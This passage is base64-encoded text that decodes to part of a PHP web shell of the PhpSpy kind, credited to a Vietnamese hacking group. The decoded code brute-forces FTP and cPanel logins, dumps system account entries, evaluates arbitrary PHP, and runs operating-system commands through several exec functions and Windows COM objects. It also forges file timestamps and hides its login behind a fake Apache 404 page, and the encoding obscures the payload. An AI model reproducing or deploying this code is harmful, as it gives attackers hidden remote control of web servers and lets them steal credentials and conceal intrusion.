ZTogPGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkdXNlciA8L2ZvbnQ+IC8gUGFzc3dvcmQ6PGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkcGFzcyA8L2ZvbnQ+PC9iPjxicj4iKTt9Y3VybF9jbG9zZSgkY2gpO30KCmlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSl7CgokdXNlcmxpc3QgPSBleHBsb2RlICgiXG4iICwgJHVzZXJzICk7CiRwYXNzbGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkcGFzcyApOwpwKCc8Yj5bIGF0dGFja0B2YmF0ZWFtLm5ldCBdIyBBdHRhY2tpbmcgLi4uPC9mb250PjwvYj48YnI+Jyk7CmZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikgewokX3VzZXIgPSB0cmltKCR1c2VyKTsKZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHsKJF9wYXNzID0gdHJpbSgkcGFzc3dvcmQpOwppZigkb3B0aW9uID09ICJmdHAiKXsKZnRwX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsKfQppZiAoJG9wdGlvbiA9PSAiY3BhbmVsIikKewpjcGFuZWxfY2hlY2soJHRhcmdldCwkX3VzZXIsJF9wYXNzLCRjb25uZWN0X3RpbWVvdXQpOwp9Cn0KfQp9CgoJZm9ybWZvb3QoKTsKfQoKCgoKCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V0Y3B3ZCcpIHsKZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0dldCAvZXRjL3Bhc3N3ZCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldGNwd2QnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKJGkgPSAwOwogZWNobyAiPHA+PGJyPjx0ZXh0YXJlYSBjbGFzcz1cImFyZWFcIiBpZD1cInBocGNvZGV4eHhcIiBuYW1lPVwicGhwY29kZXh4eFwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMjVcIj4iOwp3aGlsZSAoJGkgPCA2MDAwMCkgewoKICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOwogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsKICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgfQoKICAgJGkrKzsKfQogIGVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7Cglmb3JtZm9vdCgpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7CgkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOwoJaWYoJHBocGNvZGUpewoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgewoJCQkkcGhwY29kZSA9ICI8P3BocFxuXG57JHBocGNvZGV9XG5cbj8+IjsKCQl9CgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXZhbCBQSFAgQ29kZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7CgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nUEhQIENvZGUnLCduYW1lJz0+J3BocGNvZGUnLCAndmFsdWUnPT4kcGhwY29kZSkpOwoJcCgnPHA+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQvcGhwc3B5L3BsdWdpbi8iIHRhcmdldD0iX2JsYW5rIj5HZXQgcGx1Z2luczwvYT48L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBldmFsCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgewoJaWYoZmlsZV9leGlzdHMoJG9wZmlsZSkpIHsKCQkkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsKCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOwoJCUBmY2xvc2UoJGZwKTsKCQkkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0NyZWF0ZSAvIEVkaXQgRmlsZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgRmlsZSAoaW1wb3J0IG5ldyBmaWxlIG5hbWUgYW5kIG5ldyBmaWxlKScsJ25hbWUnPT4nZWRpdGZpbGVuYW1lJywndmFsdWUnPT4kb3BmaWxlLCduZXdsaW5lJz0+MSkpOwoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9PiRjb250ZW50cykpOwoJZm9ybWZvb3RlcigpOwp9Ly9lbmQgZWRpdGZpbGUKCmVsc2VpZiAoJGFjdGlvbiA9PSAnbmV3dGltZScpIHsKCSRvcGZpbGVtdGltZSA9IEBmaWxlbXRpbWUoJG9wZmlsZSk7CgkvLyR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsKCSRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ2xvbmUgZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZmlsZScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUmVmZXJlbmNlIGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4ndGFyZmlsZScsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7Cglmb3JtZm9vdGVyKCk7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2V0IGxhc3QgbW9kaWZpZWQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCXAoJzxwPkluc3RlYWQgJnJhcXVvOycpOwoJcCgneWVhcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5ZWFyJywndmFsdWUnPT5kYXRlKCdZJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+NCkpOwoJcCgnbW9udGg6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCd2YWx1ZSc9PmRhdGUoJ20nLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCdkYXk6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGF5JywndmFsdWUnPT5kYXRlKCdkJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnaG91cjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidob3VyJywndmFsdWUnPT5kYXRlKCdIJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnbWludXRlOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21pbnV0ZScsJ3ZhbHVlJz0+ZGF0ZSgnaScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ3NlY29uZDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzZWNvbmQnLCd2YWx1ZSc9PmRhdGUoJ3MnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBuZXd0aW1lCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgewoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQlpZigkcHJvZ3JhbSAmJiAkcGFyYW1ldGVyKSB7CgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsKCQkJJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsKCQkJbSgnUHJvZ3JhbSBydW4gaGFzICcuKCEkYSA/ICdzdWNjZXNzJyA6ICdmYWlsJykpOwoJCX0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsKCQkhJHBhcmFtZXRlciAmJiAkcGFyYW1ldGVyID0gJy9jIG5ldCBzdGFydCA+ICcuU0FfUk9PVC4nbG9nLnR4dCc7CgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsKCQltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsKCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCduYW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOwoJCXAoJzxwPicpOwoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsKCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7CgkJcCgnPC9wPicpOwoJCWZvcm1mb290KCk7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBDb21tYW5kJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7CglpZiAoSVNfV0lOICYmIElTX0NPTSkgewoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsKCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsKCX0KCXAoJzxwPicpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT4kY29tbWFuZCkpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKCglpZiAoJGNvbW1hbmQpIHsKCQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOwoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7CgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21tYW5kKTsKCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsKCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKCQkJZWNobyAkc3Ryb3V0cHV0OwoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsKCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLAoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykKCQkJKTsKCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOwoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOwoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7CgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsKCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7CgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOwoJCQkJfQoJCQkJZmNsb3NlKCRwaXBlc1sxXSk7CgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOwoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7CgkJCX0KCQl9IGVsc2UgewoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsKCQl9CgkJcCgnPC9wcmU+Jyk7Cgl9Cn0vL2VuZCBzaGVsbAoKZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7CgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7CgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsKCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsKCSRpbmZvID0gYXJyYXkoCgkJMSA9PiBhcnJheSgnU2VydmVyIFRpbWUnLGRhdGUoJ1kvbS9kIGg6aTpzJywkdGltZXN0YW1wKSksCgkJMiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLAoJCTMgPT4gYXJyYXkoJ1NlcnZlciBJUCcsZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLAoJCTQgPT4gYXJyYXkoJ1NlcnZlciBPUycsUEhQX09TKSwKCQk1ID0+IGFycmF5KCdTZXJ2ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLAoJCTYgPT4gYXJyYXkoJ1NlcnZlciBTb2Z0d2FyZScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwKCQk3ID0+IGFycmF5KCdTZXJ2ZXIgV2ViIFBvcnQnLCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSwKCQk4ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksCgkJOSA9PiBhcnJheSgnVGhlIGZpbGUgcGF0aCcsX19GSUxFX18pLAoKCQkxMCA9PiBhcnJheSgnUEhQIFZlcnNpb24nLFBIUF9WRVJTSU9OKSwKCQkxMSA9PiBhcnJheSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbihcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwKCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwKCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLAoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwKCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwKCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLAoJCTIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwKCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLAoJKTsKCglpZigkcGhwdmFybmFtZSkgewoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOwoJfQoKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXJ2ZXIgZW52aXJvbm1lbnQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBpbnB1dCBQSFAgY29uZmlndXJhdGlvbiBwYXJhbWV0ZXIoZWc6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOwoJZm9ybWZvb3RlcigpOwoKCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsKCWZvcigkYT0wOyRhPDI7JGErKykgewoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsKCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOwoJCWlmICgkYT09MCkgewoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7CgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7CgkJCX0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgewoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsKCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsKCQkJfQoJCX0KCQlwKCc8L3VsPicpOwoJfQp9Ly9lbmQgcGhwZW52CgplbHNlIHsKCW0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsKfQoKPz4KPC90ZD48L3RyPjwvdGFibGU+CjxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMEUwRTBFO2JvcmRlci10b3A6MXB4IHNvbGlkICMwRTBFMEU7YmFja2dyb3VuZDojMEUwRTBFOyI+Cgk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48P3BocCBkZWJ1Z2luZm8oKTtvYl9lbmRfZmx1c2goKTs/Pjwvc3Bhbj4KCTxCPlRoZSBMZWdlbmQgb2YgVmlldG5hbWVzZSBIYWNrZXIgV29ybGQ8L0I+IEFsbCBSaWdodHMgUmVzZXJ2ZWQuCjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpTaG93IGluZm8gc2hlbGwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8KCmZ1bmN0aW9uIG0oJG1zZykgewoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOwoJZWNobyAkbXNnOwoJZWNobyAnPC9kaXY+JzsKfQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgewoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7Cgkka2V5ID0gKCRwcmVmaXggPyAkYWRtaW5bJ2Nvb2tpZXByZSddIDogJycpLiRrZXk7CgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nvb2tpZWxpZmUnXTsKCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7CglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5bJ2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOwp9CmZ1bmN0aW9uIG11bHRpKCRudW0sICRwZXJwYWdlLCAkY3VycGFnZSwgJHRhYmxlbmFtZSkgewoJJG11bHRpcGFnZSA9ICcnOwoJaWYoJG51bSA+ICRwZXJwYWdlKSB7CgkJJHBhZ2UgPSAxMDsKCQkkb2Zmc2V0ID0gNTsKCQkkcGFnZXMgPSBAY2VpbCgkbnVtIC8gJHBlcnBhZ2UpOwoJCWlmKCRwYWdlID4gJHBhZ2VzKSB7CgkJCSRmcm9tID0gMTsKCQkJJHRvID0gJHBhZ2VzOwoJCX0gZWxzZSB7CgkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0OwoJCQkkdG8gPSAkY3VycGFnZSArICRwYWdlIC0gJG9mZnNldCAtIDE7CgkJCWlmKCRmcm9tIDwgMSkgewoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207CgkJCQkkZnJvbSA9IDE7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgewoJCQkJCSR0byA9ICRwYWdlOwoJCQkJfQoJCQl9IGVsc2VpZigkdG8gPiAkcGFnZXMpIHsKCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87CgkJCQkkdG8gPSAkcGFnZXM7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgewoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOwoJCQkJfQoJCQl9CgkJfQoJCSRtdWx0aXBhZ2UgPSAoJGN1cnBhZ2UgLSAkb2Zmc2V0ID4gMSAmJiAkcGFnZXMgPiAkcGFnZSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgMSk7Ij5GaXJzdDwvYT4gJyA6ICcnKS4oJGN1cnBhZ2UgPiAxID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSAtIDEpLicpOyI+UHJldjwvYT4gJyA6ICcnKTsKCQlmb3IoJGkgPSAkZnJvbTsgJGkgPD0gJHRvOyAkaSsrKSB7CgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsKCQl9CgkJJG11bHRpcGFnZSAuPSAoJGN1cnBhZ2UgPCAkcGFnZXMgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlICsgMSkuJyk7Ij5OZXh0PC9hPicgOiAnJykuKCR0byA8ICRwYWdlcyA/ICcgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJHBhZ2VzLicpOyI+TGFzdDwvYT4nIDogJycpOwoJCSRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7Cgl9CglyZXR1cm4gJG11bHRpcGFnZTsKfQovLyBMb2dpbiBwYWdlCmZ1bmN0aW9uIGxvZ2lucGFnZSgpIHsKPz4KCjxodG1sPiA8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+IDxoMT5Ob3QgRm91bmQ8L2gxPiAgPHA+VGhlIHJlcXVlc3RlZCBVUkwgLyB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjwvcD4gPHA+QWRkaXRpb25hbGx5LCBhIDQwNCBOb3QgRm91bmQgZXJyb3Igd2FzIGVuY291bnRlcmVkIHdoaWxlIHRyeWluZyB0byB1c2UgYW4gRXJyb3JEb2N1bWVudCB0byBoYW5kbGUgdGhlIHJlcXVlc3QuPC9wPiA8aHI+ICA8YWRkcmVzcz5BcGFjaGUgU2VydmVyIGF0ICBQb3J0IDgwPC9hZGRyZXNzPiAgICAgIDxzdHlsZT4gICAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9ICAgICAgPC9zdHlsZT4gIDxjZW50ZXI+IDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPiAgICAgPHNwYW4gc3R5bGU9ImZvbnQ6MTBwdCB0YWhvbWE7Ij48L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPiAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9pbmciIHZhbHVlPSJsb2dpbiI+ICAgICA8L2Zvcm0+IDwvY2VudGVyPiAJPC9odG1sPiAKPD9waHAKCWV4aXQ7Cgp9Ly9lbmQgbG9naW5wYWdlKCkKCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgewoJJHJlcyA9ICcnOwoJaWYgKCRjZmUpIHsKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCQlAZXhlYygkY2ZlLCRyZXMpOwoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOwoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAc3lzdGVtKCRjZmUpOwoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwoJCQlAb2JfZW5kX2NsZWFuKCk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNmZSk7CgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCUBvYl9lbmRfY2xlYW4oKTsKCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgewoJCQkkcmVzID0gJyc7CgkJCXdoaWxlKCFAZmVvZigkZikpIHsKCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpO